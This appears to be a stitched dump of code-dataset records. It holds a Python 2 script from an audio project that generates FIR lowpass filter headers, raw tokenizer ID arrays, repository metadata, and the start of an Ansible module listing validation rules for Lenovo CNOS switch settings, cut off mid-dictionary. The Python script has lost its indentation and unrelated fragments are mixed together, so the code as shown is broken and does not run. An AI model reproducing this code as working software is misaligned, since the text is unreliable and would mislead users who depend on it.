1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
gperciva/artifastring
|
research/impulses/mere-lowpass.py
|
1
|
3842
|
#!/usr/bin/env python
import wave
import struct
import glob
import numpy
import scipy.io.wavfile
import scipy.signal
import scipy.fftpack
import pylab
#MAX_SHRT = 32768.0
GAIN = 1.0
PLOT = True
#PLOT = False
#IMPULSES = True
IMPULSES = False
#if not IMPULSES:
# GAIN = 400.0
HEADER_BEGIN = """/* This file was automatically generated */
#ifndef LOWPASS_H_%(mult)i
#define LOWPASS_H_%(mult)i
const int NUM_TAPS_%(name_upper)s_%(mult)i = %(num_taps)i;
const float LOWPASS_%(mult)i[%(num_taps)i] = {
"""
HEADER_MIDDLE = """ }, {
"""
HEADER_BOTTOM = """
};
#endif
"""
def read_wave(filename):
wav = wave.open(filename, 'r')
nframes = wav.getnframes()
frames = wav.readframes(nframes)
samples = struct.unpack_from("%dh" % nframes, frames)
return samples
def write_impulses(name, mult):
outfile = open("lowpass_%i.h" % (mult), 'w')
#filenames = glob.glob('short-impulses/%s-*.wav' % name)
#filenames.sort()
# these are used in locals()
name_upper = name.upper()
#num_instruments = len(filenames)
base_taps = 71
num_taps = base_taps * mult
outfile.write(HEADER_BEGIN % locals())
if True:
#for i, filename in enumerate(filenames):
#if filename != "violin-i.wav":
# continue
outfile.write(" /* %s */\n" % "lowpass")
#wav_samples = read_wave(filename)
sample_rate = 44100.0 * mult
wav_samples = numpy.zeros(2048)
wav_samples[0] = 1.0
wav_samples = wav_samples[:base_taps]
#pylab.plot(wav_samples)
#mult = 2
resampled = scipy.signal.resample(wav_samples, mult*len(wav_samples))
#pylab.plot(resampled)
#pylab.plot( abs(scipy.fftpack.fft(wav_samples))/
# len(wav_samples) )
#pylab.show()
#exit(1)
n = base_taps*mult
#n = 63
cutoff_freq = 20000.0
low_b = scipy.signal.firwin(n, cutoff=cutoff_freq/(sample_rate/2))
wav_samples = scipy.signal.lfilter(low_b, 1.0, resampled)
#if PLOT:
# #wav_db = abs(scipy.fftpack.fft(wav_samples))/len(wav_samples)
# fft_db = abs(scipy.fftpack.fft(resampled))/len(resampled)
# #pylab.plot( 20*numpy.log10(wav_db [:len(wav_db)/2] ) )
# pylab.plot( 20*numpy.log10(fft_db [:len(fft_db)/2] ),
# label="mult %i" % mult)
# #pylab.show()
#exit(1)
#wav_samples = -(wav_samples + low_a)
#wav_samples[n/2] = wav_samples[n/2]+1
#pylab.plot(wav_samples)
#pylab.show()
#exit(1)
#fft = scipy.fftpack.fft(wav_samples)
#freqs_half = numpy.array([ float(x) * (mult*sample_rate) / len(fft)
# for x, y in enumerate(fft[:len(fft)/2+1])])
if PLOT:
w, h = scipy.signal.freqz(low_b)
pylab.plot(w / numpy.pi * (sample_rate/2),
20*numpy.log(numpy.abs(h)),
label="mult %i" % mult)
#pylab.plot(wav_samples,
# label="mult %i" % mult)
#pylab.figure()
#pylab.plot( freqs_half,
# 20*numpy.log(numpy.abs(fft[:len(fft)/2+1]) ))
print len(wav_samples)
for sample in wav_samples:
value = sample * GAIN / len(wav_samples)
outfile.write(" %.20gf,\n" % value)
#for j in range(len(wav_samples), num_taps):
# outfile.write(" %.20gf,\n" % 0.0)
#if i < len(filenames)-1:
# outfile.write(HEADER_MIDDLE)
outfile.write(HEADER_BOTTOM)
outfile.close()
#for name in ['violin', 'viola', 'cello']:
# for mult in [1, 2, 3]:
# write_impulses(name, mult)
write_impulses('lowpass', 4)
write_impulses('lowpass', 3)
write_impulses('lowpass', 2)
write_impulses('lowpass', 1)
if PLOT:
pylab.legend()
pylab.show()
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
12204,
199,
646,
2702,
199,
646,
5739,
199,
199,
646,
2680,
199,
646,
7026,
14,
2308,
14,
19118,
493,
199,
646,
7026,
14,
4653,
199,
646,
7026,
14,
9996,
1389,
199,
646,
19199,
199,
3,
4283,
63,
3234,
11876,
275,
20939,
2333,
14,
16,
199,
39,
9021,
275,
413,
14,
16,
199,
199,
2749,
1387,
275,
715,
199,
3,
2749,
1387,
275,
756,
199,
199,
3,
8947,
1293,
51,
654,
275,
715,
199,
8947,
1293,
51,
654,
275,
756,
199,
199,
3,
692,
440,
5025,
1293,
51,
654,
26,
199,
3,
259,
598,
9021,
275,
8290,
14,
16,
199,
199,
7311,
63,
15947,
275,
408,
6331,
961,
570,
1990,
5847,
4046,
11589,
199,
3,
27708,
21359,
6909,
63,
40,
20892,
14699,
9,
73,
199,
3,
4640,
21359,
6909,
63,
40,
20892,
14699,
9,
73,
199,
199,
1297,
1109,
11576,
63,
52,
1282,
51,
20892,
354,
63,
4142,
9,
83,
20892,
14699,
9,
73,
275,
2818,
1507,
63,
26335,
9,
73,
27,
199,
1297,
2069,
21359,
6909,
20892,
14699,
9,
73,
59,
2840,
1507,
63,
26335,
9,
73,
61,
275,
469,
199,
624,
199,
7311,
63,
45,
13016,
275,
408,
259,
1660,
469,
199,
624,
199,
7311,
63,
27838,
275,
408,
199,
12084,
199,
3,
13739,
199,
624,
421,
199,
318,
1586,
63,
10024,
8,
1501,
304,
272,
336,
1214,
275,
12204,
14,
1490,
8,
1501,
12,
283,
82,
358,
272,
302,
8444,
275,
336,
1214,
14,
362,
31607,
342,
272,
11223,
275,
336,
1214,
14,
739,
8444,
8,
31607,
9,
272,
5845,
275,
2702,
14,
5301,
63,
504,
3647,
7821,
2,
450,
302,
8444,
12,
11223,
9,
272,
372,
5845,
4388,
199,
318,
2218,
63,
3236,
348,
874,
8,
354,
12,
20861,
304,
272,
4386,
275,
1551,
480,
674,
1529,
4970,
73,
14,
72,
2,
450,
334,
14699,
395,
283,
87,
358,
339,
327,
10309,
275,
5739,
14,
6463,
360,
3612,
13,
3236,
348,
874,
3149,
83,
13,
4856,
19118,
7,
450,
536,
9,
272,
327,
10309,
14,
3191,
342,
272,
327,
3520,
787,
1202,
315,
9480,
342,
272,
536,
63,
4142,
275,
536,
14,
4142,
342,
272,
327,
1507,
63,
13321,
83,
275,
822,
8,
10309,
9,
272,
1300,
63,
26335,
275,
17245,
272,
1967,
63,
26335,
275,
1300,
63,
26335,
627,
20861,
2378,
4386,
14,
952,
8,
7311,
63,
15947,
450,
9480,
1012,
272,
340,
715,
26,
272,
327,
509,
284,
12,
1788,
315,
3874,
8,
10309,
304,
267,
327,
692,
1788,
1137,
298,
433,
393,
262,
13,
73,
14,
19118,
582,
267,
327,
259,
1980,
267,
4386,
14,
952,
480,
259,
13505,
450,
83,
9399,
78,
2,
450,
298,
674,
1529,
531,
267,
327,
19118,
63,
3356,
275,
1586,
63,
10024,
8,
1501,
9,
267,
2690,
63,
1866,
275,
10868,
1960,
14,
16,
627,
20861,
267,
336,
1214,
63,
3356,
275,
2680,
14,
4250,
8,
18343,
9,
267,
336,
1214,
63,
3356,
59,
16,
61,
275,
413,
14,
16,
7318,
336,
1214,
63,
3356,
275,
336,
1214,
63,
3356,
1491,
1095,
63,
26335,
61,
398,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
9,
267,
327,
14699,
275,
499,
267,
31744,
68,
275,
7026,
14,
4653,
14,
22882,
8,
19118,
63,
3356,
12,
20861,
10,
552,
8,
19118,
63,
3356,
430,
267,
327,
32538,
14,
2798,
8,
22882,
68,
9,
267,
327,
32538,
14,
2798,
8,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
13342,
267,
327,
259,
822,
8,
19118,
63,
3356,
9,
776,
267,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
302,
275,
1300,
63,
26335,
10,
14699,
267,
327,
78,
275,
13668,
267,
17875,
63,
5646,
275,
499,
993,
14,
16,
267,
6465,
63,
66,
275,
7026,
14,
4653,
14,
1795,
2676,
8,
78,
12,
17875,
29,
17708,
63,
5646,
7985,
3271,
63,
1866,
15,
18,
430,
7318,
336,
1214,
63,
3356,
275,
7026,
14,
4653,
14,
276,
3518,
8,
674,
63,
66,
12,
413,
14,
16,
12,
31744,
68,
9,
398,
327,
692,
10092,
1387,
26,
267,
327,
259,
327,
19118,
63,
697,
275,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
13342,
552,
8,
19118,
63,
3356,
9,
267,
327,
259,
18160,
63,
697,
275,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
22882,
68,
13342,
552,
8,
22882,
68,
9,
267,
327,
259,
327,
32538,
14,
2798,
8,
3388,
10,
4714,
14,
793,
709,
8,
19118,
63,
697,
359,
26,
552,
8,
19118,
63,
697,
2447,
18,
61,
776,
776,
267,
327,
259,
19199,
14,
2798,
8,
3388,
10,
4714,
14,
793,
709,
8,
9996,
63,
697,
359,
26,
552,
8,
9996,
63,
697,
2447,
18,
61,
2318,
267,
327,
263,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
267,
327,
259,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
327,
19118,
63,
3356,
275,
24953,
19118,
63,
3356,
435,
6465,
63,
65,
9,
267,
327,
19118,
63,
3356,
59,
78,
15,
18,
61,
275,
336,
1214,
63,
3356,
59,
78,
15,
18,
2807,
17,
398,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
9,
267,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
327,
9996,
275,
7026,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
9,
267,
327,
28557,
63,
10220,
275,
2680,
14,
1144,
779,
2069,
8,
88,
9,
627,
334,
14699,
10,
3271,
63,
1866,
9,
1182,
822,
8,
9996,
9,
267,
327,
259,
367,
671,
12,
612,
315,
3874,
8,
9996,
1491,
552,
8,
9996,
2447,
18,
11,
17,
24310,
7318,
340,
10092,
1387,
26,
288,
336,
12,
394,
275,
7026,
14,
4653,
14,
5646,
90,
8,
674,
63,
66,
9,
953,
19199,
14,
2798,
8,
87,
1182,
2680,
14,
1038,
627,
334,
3271,
63,
1866,
15,
18,
395,
355,
3388,
10,
4714,
14,
793,
8,
4714,
14,
2101,
8,
72,
1826,
355,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
953,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
12,
288,
327,
259,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
267,
327,
32538,
14,
8941,
342,
267,
327,
32538,
14,
2798,
8,
9220
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
12204,
199,
646,
2702,
199,
646,
5739,
199,
199,
646,
2680,
199,
646,
7026,
14,
2308,
14,
19118,
493,
199,
646,
7026,
14,
4653,
199,
646,
7026,
14,
9996,
1389,
199,
646,
19199,
199,
3,
4283,
63,
3234,
11876,
275,
20939,
2333,
14,
16,
199,
39,
9021,
275,
413,
14,
16,
199,
199,
2749,
1387,
275,
715,
199,
3,
2749,
1387,
275,
756,
199,
199,
3,
8947,
1293,
51,
654,
275,
715,
199,
8947,
1293,
51,
654,
275,
756,
199,
199,
3,
692,
440,
5025,
1293,
51,
654,
26,
199,
3,
259,
598,
9021,
275,
8290,
14,
16,
199,
199,
7311,
63,
15947,
275,
408,
6331,
961,
570,
1990,
5847,
4046,
11589,
199,
3,
27708,
21359,
6909,
63,
40,
20892,
14699,
9,
73,
199,
3,
4640,
21359,
6909,
63,
40,
20892,
14699,
9,
73,
199,
199,
1297,
1109,
11576,
63,
52,
1282,
51,
20892,
354,
63,
4142,
9,
83,
20892,
14699,
9,
73,
275,
2818,
1507,
63,
26335,
9,
73,
27,
199,
1297,
2069,
21359,
6909,
20892,
14699,
9,
73,
59,
2840,
1507,
63,
26335,
9,
73,
61,
275,
469,
199,
624,
199,
7311,
63,
45,
13016,
275,
408,
259,
1660,
469,
199,
624,
199,
7311,
63,
27838,
275,
408,
199,
12084,
199,
3,
13739,
199,
624,
421,
199,
318,
1586,
63,
10024,
8,
1501,
304,
272,
336,
1214,
275,
12204,
14,
1490,
8,
1501,
12,
283,
82,
358,
272,
302,
8444,
275,
336,
1214,
14,
362,
31607,
342,
272,
11223,
275,
336,
1214,
14,
739,
8444,
8,
31607,
9,
272,
5845,
275,
2702,
14,
5301,
63,
504,
3647,
7821,
2,
450,
302,
8444,
12,
11223,
9,
272,
372,
5845,
4388,
199,
318,
2218,
63,
3236,
348,
874,
8,
354,
12,
20861,
304,
272,
4386,
275,
1551,
480,
674,
1529,
4970,
73,
14,
72,
2,
450,
334,
14699,
395,
283,
87,
358,
339,
327,
10309,
275,
5739,
14,
6463,
360,
3612,
13,
3236,
348,
874,
3149,
83,
13,
4856,
19118,
7,
450,
536,
9,
272,
327,
10309,
14,
3191,
342,
272,
327,
3520,
787,
1202,
315,
9480,
342,
272,
536,
63,
4142,
275,
536,
14,
4142,
342,
272,
327,
1507,
63,
13321,
83,
275,
822,
8,
10309,
9,
272,
1300,
63,
26335,
275,
17245,
272,
1967,
63,
26335,
275,
1300,
63,
26335,
627,
20861,
2378,
4386,
14,
952,
8,
7311,
63,
15947,
450,
9480,
1012,
272,
340,
715,
26,
272,
327,
509,
284,
12,
1788,
315,
3874,
8,
10309,
304,
267,
327,
692,
1788,
1137,
298,
433,
393,
262,
13,
73,
14,
19118,
582,
267,
327,
259,
1980,
267,
4386,
14,
952,
480,
259,
13505,
450,
83,
9399,
78,
2,
450,
298,
674,
1529,
531,
267,
327,
19118,
63,
3356,
275,
1586,
63,
10024,
8,
1501,
9,
267,
2690,
63,
1866,
275,
10868,
1960,
14,
16,
627,
20861,
267,
336,
1214,
63,
3356,
275,
2680,
14,
4250,
8,
18343,
9,
267,
336,
1214,
63,
3356,
59,
16,
61,
275,
413,
14,
16,
7318,
336,
1214,
63,
3356,
275,
336,
1214,
63,
3356,
1491,
1095,
63,
26335,
61,
398,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
9,
267,
327,
14699,
275,
499,
267,
31744,
68,
275,
7026,
14,
4653,
14,
22882,
8,
19118,
63,
3356,
12,
20861,
10,
552,
8,
19118,
63,
3356,
430,
267,
327,
32538,
14,
2798,
8,
22882,
68,
9,
267,
327,
32538,
14,
2798,
8,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
13342,
267,
327,
259,
822,
8,
19118,
63,
3356,
9,
776,
267,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
302,
275,
1300,
63,
26335,
10,
14699,
267,
327,
78,
275,
13668,
267,
17875,
63,
5646,
275,
499,
993,
14,
16,
267,
6465,
63,
66,
275,
7026,
14,
4653,
14,
1795,
2676,
8,
78,
12,
17875,
29,
17708,
63,
5646,
7985,
3271,
63,
1866,
15,
18,
430,
7318,
336,
1214,
63,
3356,
275,
7026,
14,
4653,
14,
276,
3518,
8,
674,
63,
66,
12,
413,
14,
16,
12,
31744,
68,
9,
398,
327,
692,
10092,
1387,
26,
267,
327,
259,
327,
19118,
63,
697,
275,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
13342,
552,
8,
19118,
63,
3356,
9,
267,
327,
259,
18160,
63,
697,
275,
2853,
8,
14248,
14,
9996,
1389,
14,
9996,
8,
22882,
68,
13342,
552,
8,
22882,
68,
9,
267,
327,
259,
327,
32538,
14,
2798,
8,
3388,
10,
4714,
14,
793,
709,
8,
19118,
63,
697,
359,
26,
552,
8,
19118,
63,
697,
2447,
18,
61,
776,
776,
267,
327,
259,
19199,
14,
2798,
8,
3388,
10,
4714,
14,
793,
709,
8,
9996,
63,
697,
359,
26,
552,
8,
9996,
63,
697,
2447,
18,
61,
2318,
267,
327,
263,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
267,
327,
259,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
327,
19118,
63,
3356,
275,
24953,
19118,
63,
3356,
435,
6465,
63,
65,
9,
267,
327,
19118,
63,
3356,
59,
78,
15,
18,
61,
275,
336,
1214,
63,
3356,
59,
78,
15,
18,
2807,
17,
398,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
9,
267,
327,
32538,
14,
2384,
342,
267,
327,
2224,
8,
17,
9,
398,
327,
9996,
275,
7026,
14,
9996,
1389,
14,
9996,
8,
19118,
63,
3356,
9,
267,
327,
28557,
63,
10220,
275,
2680,
14,
1144,
779,
2069,
8,
88,
9,
627,
334,
14699,
10,
3271,
63,
1866,
9,
1182,
822,
8,
9996,
9,
267,
327,
259,
367,
671,
12,
612,
315,
3874,
8,
9996,
1491,
552,
8,
9996,
2447,
18,
11,
17,
24310,
7318,
340,
10092,
1387,
26,
288,
336,
12,
394,
275,
7026,
14,
4653,
14,
5646,
90,
8,
674,
63,
66,
9,
953,
19199,
14,
2798,
8,
87,
1182,
2680,
14,
1038,
627,
334,
3271,
63,
1866,
15,
18,
395,
355,
3388,
10,
4714,
14,
793,
8,
4714,
14,
2101,
8,
72,
1826,
355,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
953,
327,
32538,
14,
2798,
8,
19118,
63,
3356,
12,
288,
327,
259,
1768,
628,
14699,
450,
73,
2,
450,
20861,
9,
267,
327,
32538,
14,
8941,
342,
267,
327,
32538,
14,
2798,
8,
9220,
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
1,
1
] |
tedder/ansible
|
lib/ansible/module_utils/network/cnos/cnos_devicerules.py
|
69
|
100502
|
# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by
# Ansible still belong to the author of the module, and may assign their
# own license to the complete work.
#
# Copyright (C) 2017 Lenovo, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Contains device rule and methods
# Lenovo Networking
def getRuleString(deviceType, variableId):
retVal = variableId + ":"
if(deviceType == 'g8272_cnos'):
if variableId in g8272_cnos:
retVal = retVal + g8272_cnos[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'g8296_cnos'):
if variableId in g8296_cnos:
retVal = retVal + g8296_cnos[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'g8332_cnos'):
if variableId in g8332_cnos:
retVal = retVal + g8332_cnos[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE1072T'):
if variableId in NE1072T:
retVal = retVal + NE1072T[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE1032'):
if variableId in NE1032:
retVal = retVal + NE1032[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE1032T'):
if variableId in NE1032T:
retVal = retVal + NE1032T[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE10032'):
if variableId in NE10032:
retVal = retVal + NE10032[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE2572'):
if variableId in NE2572:
retVal = retVal + NE2572[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
elif(deviceType == 'NE0152T'):
if variableId in NE0152T:
retVal = retVal + NE0152T[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
else:
if variableId in default_cnos:
retVal = retVal + default_cnos[variableId]
else:
retVal = "The variable " + variableId + " is not supported"
return retVal
# EOM
default_cnos = {
'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-32',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-32',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,\
interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,\
trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,\
input,output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
